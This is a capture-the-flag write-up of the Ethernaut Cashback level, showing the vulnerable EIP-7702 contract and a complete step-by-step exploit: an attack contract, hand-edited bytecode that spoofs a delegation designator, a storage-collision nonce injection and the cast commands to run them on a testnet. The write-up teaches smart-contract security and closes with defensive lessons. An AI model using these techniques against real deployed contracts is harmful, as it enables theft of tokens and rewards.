Exploiting EIP-7702 Delegation in the Ethernaut Cashback Challenge — A Step-by-Step Writeup

Written by hacker39947670 | Published 2025/12/03
Tech Story Tags: ethernaut | eip-7702 | security | exploiting-eip-7702 | eip-7702-delegation | paywithcashback | cashback-contract | hackernoon-top-story

TLDRThe Ethernaut Cashback challenge exploits flawed EIP-7702 delegation security. The contract's modifiers assume strict access controls, but have critical vulnerabilities: First exploit: Craft a contract with the Cashback address embedded in bytecode at the expected offset, bypassing the onlyDelegatedToCashback modifier. Jump over the address to execute normally. Call accrueCashback directly to gain max cashback for both currencies and one NFT. Second exploit: Use storage collision—delegate your EOA to a contract that writes to the same nonce slot, inject nonce = 9999, then re-delegate to Cashback and execute one final transaction to reach nonce 10,000 and mint a second NFT with your player address. Key lesson: Never store security-critical state in EOAs—delegation allows unrestricted storage manipulation across delegated contracts.Retryvia the TL;DR App

While digging into the EIP-7702 nuances, I worked through the Ethernaut Cashback challenge — a scenario designed to test whether developers truly understand the security implications of 7702-based delegation. On the surface, the challenge looks straightforward: a cashback program that rewards users for on-chain payments and grants a Super Cashback NFT once enough points are accumulated.

To participate, users must delegate to the Cashback contract using EIP-7702. Only then can they call payWithCashback and start earning points. The system appears to enforce strict access controls, and its modifiers suggest a clear security model.

In reality, EIP-7702 delegation creates security pitfalls that this challenge is designed to demonstrate. This writeup covers how the contract is supposed to work, where the assumptions fail, and how the exploit path emerges.

The challenge

https://ethernaut.openzeppelin.com/level/36

You've just joined Cashback, the hottest crypto neobank in town. Their pitch is irresistible: for every on-chain payment you make, you earn points. Rack up enough and you'll reach legendary status, unlocking the coveted Super Cashback NFT badge.

The system leverages EIP-7702 to allow EOAs to accrue cashback. Users must delegate to the Cashback contract to use the payWithCashback function.

Rumor has it there’s a back door for power users. Your brief is simple: become the loyalty program’s nightmare. Max out your cashback in every supported currency and walk away with at least two Super Cashback NFT, one of which must correspond to your player address.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import {TransientSlot} from "@openzeppelin/contracts/utils/TransientSlot.sol";

/*//////////////////////////////////////////////////////////////
                       CURRENCY LIBRARY
//////////////////////////////////////////////////////////////*/

type Currency is address;

using {equals as ==} for Currency global;
using CurrencyLibrary for Currency global;

function equals(Currency currency, Currency other) pure returns (bool) {
   return Currency.unwrap(currency) == Currency.unwrap(other);
}

library CurrencyLibrary {
   error NativeTransferFailed();
   error ERC20IsNotAContract();
   error ERC20TransferFailed();

   Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);

   function isNative(Currency currency) internal pure returns (bool) {
       return Currency.unwrap(currency) == Currency.unwrap(NATIVE_CURRENCY);
   }

   function transfer(Currency currency, address to, uint256 amount) internal {
       if (currency.isNative()) {
           (bool success,) = to.call{value: amount}("");
           require(success, NativeTransferFailed());
       } else {
           (bool success, bytes memory data) = Currency.unwrap(currency).call(abi.encodeCall(IERC20.transfer, (to, amount)));
           require(Currency.unwrap(currency).code.length != 0, ERC20IsNotAContract());
           require(success, ERC20TransferFailed());
           require(data.length == 0 || true == abi.decode(data, (bool)), ERC20TransferFailed());
       }
   }

   function toId(Currency currency) internal pure returns (uint256) {
       return uint160(Currency.unwrap(currency));
   }
}

/*//////////////////////////////////////////////////////////////
                      CASHBACK CONTRACT
//////////////////////////////////////////////////////////////*/

/// @dev keccak256(abi.encode(uint256(keccak256("Cashback")) - 1)) & ~bytes32(uint256(0xff))
contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 {
   using TransientSlot for *;

   error CashbackNotCashback();
   error CashbackIsCashback();
   error CashbackNotAllowedInCashback();
   error CashbackOnlyAllowedInCashback();
   error CashbackNotDelegatedToCashback();
   error CashbackNotEOA();
   error CashbackNotUnlocked();
   error CashbackSuperCashbackNFTMintFailed();

   bytes32 internal constant UNLOCKED_TRANSIENT = keccak256("cashback.storage.Unlocked");
   uint256 internal constant BASIS_POINTS = 10000;
   uint256 internal constant SUPERCASHBACK_NONCE = 10000;
   Cashback internal immutable CASHBACK_ACCOUNT = this;
   address public immutable superCashbackNFT;
   
   uint256 public nonce;
   mapping(Currency => uint256 Rate) public cashbackRates;
   mapping(Currency => uint256 MaxCashback) public maxCashback;

   modifier onlyCashback() {
       require(msg.sender == address(CASHBACK_ACCOUNT), CashbackNotCashback());
       _;
   }

   modifier onlyNotCashback() {
       require(msg.sender != address(CASHBACK_ACCOUNT), CashbackIsCashback());
       _;
   }

   modifier notOnCashback() {
       require(address(this) != address(CASHBACK_ACCOUNT), CashbackNotAllowedInCashback());
       _;
   }

   modifier onlyOnCashback() {
       require(address(this) == address(CASHBACK_ACCOUNT), CashbackOnlyAllowedInCashback());
       _;
   }

   modifier onlyDelegatedToCashback() {
       bytes memory code = msg.sender.code;
       address payable delegate;
       assembly {
           delegate := mload(add(code, 0x17))
       }
       require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback());
       _;
   }

   modifier onlyEOA() {
       require(msg.sender == tx.origin, CashbackNotEOA());
       _;
   }

   modifier unlock() {
       UNLOCKED_TRANSIENT.asBoolean().tstore(true);
       _;
       UNLOCKED_TRANSIENT.asBoolean().tstore(false);
   }

   modifier onlyUnlocked() {
       require(Cashback(payable(msg.sender)).isUnlocked(), CashbackNotUnlocked());
       _;
   }

   receive() external payable onlyNotCashback {}

   constructor(
       address[] memory cashbackCurrencies,
       uint256[] memory currenciesCashbackRates,
       uint256[] memory currenciesMaxCashback,
       address _superCashbackNFT
   ) ERC1155("") {
       uint256 len = cashbackCurrencies.length;
       for (uint256 i = 0; i < len; i++) {
           cashbackRates[Currency.wrap(cashbackCurrencies[i])] = currenciesCashbackRates[i];
           maxCashback[Currency.wrap(cashbackCurrencies[i])] = currenciesMaxCashback[i];
       }
       superCashbackNFT = _superCashbackNFT;
   }

   // Implementation Functions
   function accrueCashback(Currency currency, uint256 amount) external onlyDelegatedToCashback onlyUnlocked onlyOnCashback{
       uint256 newNonce = Cashback(payable(msg.sender)).consumeNonce();
       uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS;

       if (cashback != 0) {
           uint256 _maxCashback = maxCashback[currency];
           if (balanceOf(msg.sender, currency.toId()) + cashback > _maxCashback) {
               cashback = _maxCashback - balanceOf(msg.sender, currency.toId());
           }

           uint256[] memory ids = new uint256[](1);
           ids[0] = currency.toId();
           uint256[] memory values = new uint256[](1);
           values[0] = cashback;
           _update(address(0), msg.sender, ids, values);
       }
       if (SUPERCASHBACK_NONCE == newNonce) {
           (bool success,) = superCashbackNFT.call(abi.encodeWithSignature("mint(address)", msg.sender));
           require(success, CashbackSuperCashbackNFTMintFailed());
       }
   }

   // Smart Account Functions
   function payWithCashback(Currency currency, address receiver, uint256 amount) external unlock onlyEOA notOnCashback {
       currency.transfer(receiver, amount);
       CASHBACK_ACCOUNT.accrueCashback(currency, amount);
   }

   function consumeNonce() external onlyCashback notOnCashback returns (uint256) {
       return ++nonce;
   }

   function isUnlocked() public view returns (bool) {
       return UNLOCKED_TRANSIENT.asBoolean().tload();
   }
}

The Intended Security Model

The Cashback contract uses modifiers to control who calls and where code executes:

Caller identity checks:

  • onlyEOA(): Ensures the caller is an EOA, not a contract (msg.sender == tx.origin).
  • onlyCashback(): Ensures the caller is the Cashback contract itself.
  • onlyNotCashback(): Ensures the caller is NOT the Cashback contract.

Execution context checks:

  • onlyOnCashback(): Ensures code is executing at the Cashback contract address. Functions with this modifier can only run when called directly on the contract.
  • notOnCashback(): Ensures code is NOT executing at the Cashback contract address. This means the function must run through a delegatecall, not directly on the contract.

In essence, the system should work like this:

  1. A delegated EOA calls payWithCashback on itself. This works because the call happens notOnCashback and passes onlyEOA.
  2. The payWithCashback function calls Cashback.accrueCashback directly on the Cashback instance. It has three modifiers: onlyDelegatedToCashback passes because the caller delegated to Cashback, onlyOnCashback passes because the call happens on Cashback directly. The onlyUnlocked modifier relates to step 3.
  3. The onlyUnlocked modifier calls isUnlocked on msg.sender. Since payWithCashback unlocked it, this check passes.
  4. During execution, accrueCashback calls consumeNonce on msg.sender. This function has two modifiers: onlyCashback passes because it's called by the Cashback instance, and notOnCashback passes because this function runs in the EOA's context.
  5. Finally, consumeNonce increments the nonce in the EOA's storage.

Finding Constants

Before we can attack, we need to identify the challenge's key parameters and addresses.

Supported Currencies

The Cashback contract supports two currencies. While not explicitly defined in the challenge description, we can find them:

  • The native currency at 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE
  • Freedom Coin (FREE) at 0x13AaF3218Facf57CfBf5925E15433307b59BCC37

You can verify this by taking the level address and checking its code, and by calling the FREE() function.

Super Cashback NFT

You can find its address by calling superCashbackNFT on your Cashback instance.

Maximum Cashback and Cashback Rates

To calculate the required spending for maximum cashback, we need two parameters. Find them by calling maxCashback and cashbackRates on your instance. The contract uses BASIS_POINTS = 10000 for percentage calculations:

uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; 

For example, Freedom Coin has a max cashback of 500e18 and a rate of 200 (i.e. 2%). To calculate the required spend:

amount = maxCashback * BASIS_POINTS / rate
amount = 500e18 * 10000 / 200 = 25000e18

That's 25,000 FREE tokens.

Nonce

Starts at 0. The contract mints a Super Cashback NFT when your nonce reaches SUPERCASHBACK_NONCE, which is hardcoded to 10,000.

Attack

Despite the complex architecture looking unbreakable at first glance, there are several flawed assumptions we can exploit.

Looking at the architecture, we notice we can call accrueCashback directly. Although its modifiers are designed to restrict access to internal calls through payWithCashback, the function itself is external — so we can call it directly if we bypass the guards:

  • onlyOnCashback We can bypass it by calling the Cashback instance directly.
  • onlyUnlocked Since this modifier calls isUnlocked on msg.sender, we can bypass it by calling from a contract with an isUnlocked function that always returns true.
  • onlyDelegatedToCashback This one's tricky. Let's examine it closely:

modifier onlyDelegatedToCashback() {
   bytes memory code = msg.sender.code;
   address payable delegate;
   assembly {
       delegate := mload(add(code, 0x17))
   }
   require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback());
   _;
}

The onlyDelegatedToCashback modifier attempts to verify that the caller has delegated to the Cashback contract by reading the delegation address from the account's bytecode. With EIP-7702, delegated accounts have special bytecode: 0xef0100 followed by the 20-byte delegation address. The modifier reads these 20 bytes (which it expects to be an address) and verifies they match the Cashback instance address.

To bypassonlyDelegatedToCashback, we need our attack contract's bytecode to look like a valid delegation designator — specifically, the Cashback address must appear at bytes 4–23. The bytecode structure:

0x??????<CASHBACK_ADDRESS>????...<rest_of_contract>. 

We'll handle this manually later. First, let's create the attack contract.

Preparing the Attack Contract

As discussed, our contract will be called back by the Cashback instance twice: to check if it's unlocked and to consume the nonce. We need to ensure it's always unlocked and consumeNonce return the value required for a SuperCashback NFT. We want full cashback for both currencies, but since NFTs are minted with the caller's address as the ID, the second accrueCashback call would revert. So we'll return a 10,000 nonce only once.

We'll set the currencies and the Cashback address as constants. Since we're calling accrueCashback directly, we don't need to spend real tokens—we just need to pass the right amounts to get maximum cashback.

Finally, we'll transfer all cashback and the NFT to our player's address.

Here's the complete contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import {Currency, Cashback} from "./Cashback.sol";

contract AccrueCashbackAttack { 
    Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
    Currency public constant FREEDOM_COIN = Currency.wrap(0x13AaF3218Facf57CfBf5925E15433307b59BCC37);
    Cashback public constant CASHBACK_INSTANCE = Cashback(payable(0xf991E138bA49e25a7DA1a11A726077c77c6241A8));
    bool nftMinted;

    function attack(address player) external {
        uint256 nativeMaxCashback = CASHBACK_INSTANCE.maxCashback(NATIVE_CURRENCY);
        uint256 freeMaxCashback = CASHBACK_INSTANCE.maxCashback(FREEDOM_COIN); 
        
        // Calculate amounts required to reach max cashback for each currency 
        uint256 BASIS_POINTS = 10000; // Basis points from Cashback 
        uint256 nativeAmount = (nativeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(NATIVE_CURRENCY);
        uint256 freedomAmount = (freeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(FREEDOM_COIN);
        
        // Call accrueCashback to mint cashback tokens and SuperCashback NFT to the attack contract
        CASHBACK_INSTANCE.accrueCashback(NATIVE_CURRENCY, nativeAmount);
        CASHBACK_INSTANCE.accrueCashback(FREEDOM_COIN, freedomAmount);
      
        // Transfer cashback tokens from attack contract to player
        CASHBACK_INSTANCE.safeTransferFrom(address(this), player, NATIVE_CURRENCY.toId(), nativeMaxCashback, "");
        CASHBACK_INSTANCE.safeTransferFrom(address(this), player, FREEDOM_COIN.toId(), freeMaxCashback, "");

        // Transfer the SuperCashback NFT (minted with the attack contract's address as ID)
        IERC721 superCashbackNFT = IERC721(CASHBACK_INSTANCE.superCashbackNFT());
        superCashbackNFT.transferFrom(address(this), player, uint256(uint160(address(this))));
    }

    function isUnlocked() public pure returns (bool) {
        return true;
    }

    function consumeNonce() external returns (uint256) {
        // We can mint only one NFT, because they are minted with id of the contract 
        if (nftMinted) { 
              return 0;
        }
        nftMinted = true;
        return 10_000;
    }
}

Adjusting Bytecode to Bypass the Delegation Check

Now comes the tricky part. We need to modify the AccrueCashbackAttack bytecode to pass the onlyDelegatedToCashbackmodifier. First, compile your contracts.

If you're using Hardhat, the bytecode will be in artifacts/contracts/Attack.sol/AccrueCashbackAttack.json. There are two properties:

  • bytecode is the creation (init) code executed once during deployment. It runs the constructor logic and returns the runtime code to be stored on-chain.
  • deployedBytecode is the runtime code stored on-chain after deployment and executed whenever the contract is called. This is what we'll modify.

We'll place our Cashback instance address at offset 0x03, exactly where onlyDelegatedToCashback looks for it. The deployedBytecode follows after:

0x??????<CASHBACK_ADDRESS>????<ATTACK_DEPLOYED_BYTECODE>

Jumping Over the Embedded Address

To skip the 20-byte address during normal execution, we'll use these opcodes:

  • PUSH1 to specify the jump destination
  • JUMP to perform the jump
  • JUMPDEST to mark the destination (required to avoid revert)

This way, only the onlyDelegatedToCashback modifier reads the <CASHBACK_ADDRESS>.

But what offset should we jump to?

Offset | Bytes              | Instructions  |
--------------------------------------------|
[00]   | 60 ??              | PUSH ??       |
[02]   | 56                 | JUMP          |
[03]   | <CASHBACK_ADDRESS> |               |
[17]   | ???                | ???           |

The obvious yet incorrect assumption is 0x17, right after <CASHBACK_ADDRESS>. In reality, the answer depends on how lucky you are with your Cashback instance address. Let me show you why.

My instance is at 0xf991E138bA49e25a7DA1a11A726077c77c6241A8. So my contract could start like this:

        Cashback address
        ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
0x601756f991E138bA49e25a7DA1a11A726077c77c6241A85B
  ↑↑↑↑↑↑                                        ↑↑
  PUSH + JUMP                             JUMPDEST


Offset | Bytes              | Instructions  |
--------------------------------------------|
[00]   | 60 17              | PUSH 0x17     |
[02]   | 56                 | JUMP          |
[03]   | f991E138...c6241A8 | <Instance>    |
[17]?  | 5B                 | JUMPDEST      |

However, let's see how this bytecode disassembles:

Problem! The byte 0x7D in our instance address is the PUSH30 opcode. When the EVM encounters PUSH30, it consumes the following 30 bytes as literal arguments, not as instructions. My JUMPDEST (5B) is positioned at offset 0x17, but it gets consumed as data for PUSH30 instead of being executed as an instruction. This corrupts the bytecode stream, causing an EVM error: InvalidJump when execution reaches that location.

Let's fix this. We'll add padding to push our JUMPDEST outside the 30 bytes consumed by PUSH30:

Perfect! The JUMPDEST appears at 2a. Let's update our PUSH1instruction. My final version:

0x602a56f991E138bA49e25a7DA1a11A726077c77c6241A8000000000000000000000000000000000000005B<attack-bytecode>

Offset | Bytes              | Instructions  |
--------------------------------------------|
[00]   | 60 2a              | PUSH 0x2a     |
[02]   | 56                 | JUMP          |
[03]   | f991E138...c6241A8 | <Instance>    |
[2a]   | 5B                 | JUMPDEST      |

This prefix totals 43 bytes: PUSH1 (2) + JUMP (1) + address (20) + padding (19) + JUMPDEST (1).

Adjusting Jump Offsets

Now we can add our deployedBytecode. But since we increased the contract size by 43 bytes, we need to adjust all JUMP and JUMPI offsets by this amount.

For demonstration, let's see how to do this manually. Go to https://www.evm.codes/playground, choose Bytecode, and paste your deployedBytecode. On the right, you'll see the opcodes list. Find the first JUMPDEST at [0f]. Find all PUSH2 opcodes used by JUMP and JUMPI with values matching this JUMPDEST and increase their values by 43.

This method isn't perfect—we might accidentally modify PUSH2 values that aren't jump destinations. However, false positives should be rare enough for this challenge.

Why PUSH2?

Because the initial contract size was 3142 (0x0C46) bytes, jump destinations can exceed 255, so the compiler must use PUSH2 to represent them.

The compiler uses PUSH2 uniformly for all jump destinations rather than mixing PUSH1 and PUSH2.

Doing this manually would be overwhelming, so I created a script that:

  • Finds all JUMPDEST opcodes and stores their initial and adjusted offsets

  • Finds all PUSH2 opcodes with values matching initial JUMPDEST offsets and updates them to adjusted values

You can find the script to automate this process in the repository.

Never blindly download and execute random code, including this one!

Always review and understand what you're running. Use isolated environments like devcontainers or VMs when experimenting with untrusted code.

Creation Bytecode

To deploy this contract, we need to craft creation bytecode. Let's modify the existing creation code. The bytecode value in artifacts contains it at the beginning. Here's mine: 0x6080604052348015600e575f5ffd5b50610c468061001c5f395ff3fe. Disassembling it shows:

[10]    PUSH2   0c46

This 0c46 is the initial code length—3142 bytes.

We need to use our adjusted code length plus the 43 bytes we added manually. For me, that's0C71 (3185 bytes). The final creation code:

0x6080604052348015600e575f5ffd5b50610C718061001c5f395ff3fe
                                    ↑↑↑↑

Final Bytecode Assembly

The final bytecode is simply the creation code concatenated with the adjusted deployedBytecode.

Execute Attack

Let's deploy our bytecode using cast from Foundry:

PRIVATE_KEY=0x{set-your-ethernaut-player-private-key}
SEPOLIA_URL=https://{use-alchemy-or-infura}
BYTECODE=0x{the-final-bytecode}
YOUR_PLAYER_ADDRESS=0x{your-player-address}

cast send --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY --create $BYTECODE

Execute the attack:

cast send $ATTACK_CONTRACT_ADDRESS \
  "attack(address)" \
   $YOUR_PLAYER_ADDRESS \
   --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY

Check your transaction on Etherscan. You should see inner transactions related to cashback token and NFT transfers.
At this point, you've achieved maximum cashback for both currencies and obtained one NFT. However, its ID corresponds to your attack contract's address, not your player address. We need one more NFT with your address as the ID.

Exploiting Storage Collision for the Second NFT

We still need another NFT with our address as the ID. We can't simply repeat the same approach as in the previous attack. The only way is to actually execute payWithCashback as intended—by delegating your EOA to the Cashback contract. However, we can't fake the consumeNonce function, so we need to increase our nonce some other way.

EIP-7702 delegation doesn't create separate storage for each delegated contract. When an EOA delegates to a contract, the code executes against the EOA's own storage. If you delegate to different contracts over time, they all read and write to the same storage slots in your EOA. By exploiting this storage collision, we can manipulate the nonce. We'll create a contract that writes to the same storage slot, set the nonce to 9999, then re-delegate to Cashback and execute one more transaction to trigger the NFT mint.

Notice that the Cashback account uses a custom storage layout directive to position its storage at a specific slot. This feature, introduced in Solidity 0.8.29, allows contracts to relocate their storage variables to arbitrary positions.

contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 {
// ... constants and immutables
   uint256 public nonce;
}

The nonce is the first variable in the layout—all the preceding variables are constants and immutables, so they don't take slots. However, ERC1155 from OpenZeppelin takes 3 slots before nonce, so the actual slot is at 0x442a9...ba03. Knowing this, let's inject a large nonce into our EOA storage.

Here's the nonce manipulation contract I deployed to Sepolia:

contract NonceAttack layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba03 {
   uint256 public injectedNonce;
   // The next call to payWithCashback will increment it to 10_000 and we will get SuperCashback NFT
   function injectNonce() external {
       injectedNonce = 9999;
   }
}

The next step is to delegate our EOA toNonceAttack. Foundry's cast supports authorization transactions. Usually we'd have to request our account nonce, increment it by one, sign an authorization transaction, and only then send it. But since we're sending it ourselves, we can simply provide an authorization address.

cast send 0x0000000000000000000000000000000000000000 \
 --private-key $PRIVATE_KEY \
 --rpc-url $SEPOLIA_URL \
 --auth <NONCE_ATTACK_ADDRESS>

Now we can set the nonce using injectNonce(). Remember, we call this function on ourselves, not on the NonceAttack instance:

cast send $YOUR_PLAYER_ADDRESS \
   "injectNonce()" \
   --rpc-url $SEPOLIA_URL \
   --private-key $PRIVATE_KEY

Final Attack Step

With the nonce now set to 9999 through storage collision exploitation, the final attack step involves re-delegating to the Cashback contract and executing one more transaction to push the nonce to 10,000, triggering the minting of the second SuperCashback NFT with your player address as its ID.

  1. Re-delegate your account to the Cashback instance. Follow the same steps as with NonceAttack:
cast send 0x0000000000000000000000000000000000000000 \
  --private-key $PRIVATE_KEY \
  --rpc-url $SEPOLIA_URL \
  --auth <CASHBACK_ADDRESS>

  1. The Cashback contract provides a nonce function to check your nonce. Let's verify it's 9999:
cast call $YOUR_PLAYER_ADDRESS \
   "nonce()" \
   --private-key $PRIVATE_KEY \
   --rpc-url $SEPOLIA_URL

  1. Execute the final step by calling payWithCashback on yourself:
cast send $YOUR_PLAYER_ADDRESS \
   "payWithCashback(address,address,uint256)" \
   0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE \
   0x03dcb79ee411fd94a701ba88351fef8f15b8f528 \
   1 \
   --private-key $PRIVATE_KEY \
   --rpc-url $SEPOLIA_URL

You now own 2 NFTs and maximum cashback. Submit the level!

And before we go, don't forget to remove the delegation.

cast send 0x0000000000000000000000000000000000000000 \
  --private-key $PRIVATE_KEY \
  --rpc-url $SEPOLIA_URL \
  --auth 0x0000000000000000000000000000000000000000

What We've Learned

1. Validate delegation the right way.

Always check the 0xef0100 prefix before extracting the delegated target. Thanks to EIP-3541, which forbids deploying contracts whose bytecode starts with 0xef, this prefix reliably distinguishes delegated EOAs from arbitrary contracts.

2. Never store protocol-critical state inside an EOA.

An EOA owner can delegate to any contract, and that contract can freely write to the same storage slots — including ones you might assume are private. All security-critical state must live in your protocol's storage.



Written by hacker39947670 | Lead Software Engineer | Blockchain
Published by HackerNoon on 2025/12/03